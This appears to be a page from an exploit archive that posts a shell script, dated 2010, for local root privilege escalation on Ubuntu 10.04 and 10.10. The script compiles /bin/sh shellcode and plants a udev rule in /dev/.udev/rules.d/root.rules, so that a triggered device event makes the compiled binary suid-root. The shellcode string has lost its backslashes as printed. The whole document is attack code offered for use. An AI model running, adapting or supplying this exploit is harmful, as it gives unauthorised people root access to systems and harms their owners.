Home / os / win7

usn985-1local.txt

Posted on 21 September 2010

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
then
echo "usage: $0 <UDEV KERNEL EVENT>"
echo "see here http://www.reactivated.net/writing_udev_rules.html"
exit
fi
cat > usn985-exploit.sh << EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF
cat > usn985-sc.c << EOF
char *s="x31xc0x31xdbx31xc9x31xd2x52x68x6ex2fx73x68"
"x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80";
main(){int *r;*((int *)&r+2)=(int)s;}
EOF
gcc usn985-sc.c -o usn985-sc
echo "KERNEL=="$1", RUN+="$PWD/usn985-exploit.sh"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"

 

TOP

Malware :

Exploits :